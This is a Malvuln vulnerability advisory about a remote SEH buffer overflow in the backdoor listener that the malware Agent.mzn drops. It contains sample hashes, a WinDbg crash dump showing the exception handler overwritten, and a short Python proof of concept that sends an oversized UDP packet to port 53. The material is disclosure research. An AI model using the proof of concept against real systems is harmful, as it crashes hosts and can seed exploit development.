Backdoor.Win32.Agent.mzn malware suffers from a buffer overflow vulnerability.
6080fd9710c66f5bc005af35b1055655Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f589ae5fb7879eb0b98fb8096d7152a5.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.mzn
Vulnerability: Remote SEH Buffer Overflow
Description: Agent.mzn drops an executable named "aspimgr.exe" that runs with SYSTEM integrity, listening on TCP port 80 and UDP 53. Attackers who can reach the infected system can send a specially crafted packet to UDP port 53 and trigger a SEH based buffer overflow overwriting the structured exception handler.
Type: PE32
MD5: f589ae5fb7879eb0b98fb8096d7152a5
Vuln ID: MVID-2021-0134
Dropped files: aspimgr.exe
ASLR: False
DEP: False
Safe SEH: True :(
Disclosure: 03/16/2021
Memory Dump:
(390.b8): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00454741 edx=0327efe4 esi=00000000 edi=00000002
eip=7710ed3c esp=0327e708 ebp=0327e748 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl
EXCEPTION_RECORD: 0327e908 -- (.exr 0x327e908)
ExceptionAddress: 761d7c7c (kernel32!lstrcpyA+0x0000001c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 03280000
Attempt to write to address 03280000
PROCESS_NAME: aspimgr.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 00000015
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: 0327e958 -- (.cxr 0x327e958)
eax=0327fe34 ebx=000002fc ecx=00454741 edx=0327efe4 esi=0000101c edi=0327fe34
eip=761d7c7c esp=0327edb8 ebp=0327ede0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
761d7c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:03280000=??
Resetting default scope
WRITE_ADDRESS: 03280000
FOLLOWUP_IP:
kernel32!lstrcpyA+1c
761d7c7c 880c16 mov byte ptr [esi+edx],cl
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 0040696f to 761d7c7c
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_STACKIMMUNE
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE
STACK_TEXT:
00000000 00000000 aspimgr.exe+0x0
STACK_COMMAND: .cxr 000000000327E958 ; kb ; ** Pseudo Context ** ; kb
SYMBOL_NAME: aspimgr.exe
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: aspimgr
IMAGE_NAME: aspimgr.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 487f3031
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE_c0000409_aspimgr.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE_MISSING_GSFRAME_aspimgr.exe
0:005> !exchain
0327e7c0: ntdll!_except_handler4+0 (77116a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad)
0327edd0: kernel32!_except_handler4+0 (761ed450)
CRT scope 0, filter: kernel32!lstrcpyA+2d (761d7c8d)
func: kernel32!lstrcpyA+40 (761d7ca0)
0327ff68: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=53
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
JUNK="A"*2000
Dirty0tis_made_me_do_it="GET /"+JUNK+" HTTP/1.0\r\nHost: "+JUNK+"\r\n\r\n"
s.send(Dirty0tis_made_me_do_it)
s.close()
print("Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow")
print("MD5: f589ae5fb7879eb0b98fb8096d7152a5")
print("By Malvuln")
if __name__=="__main__":
doit()
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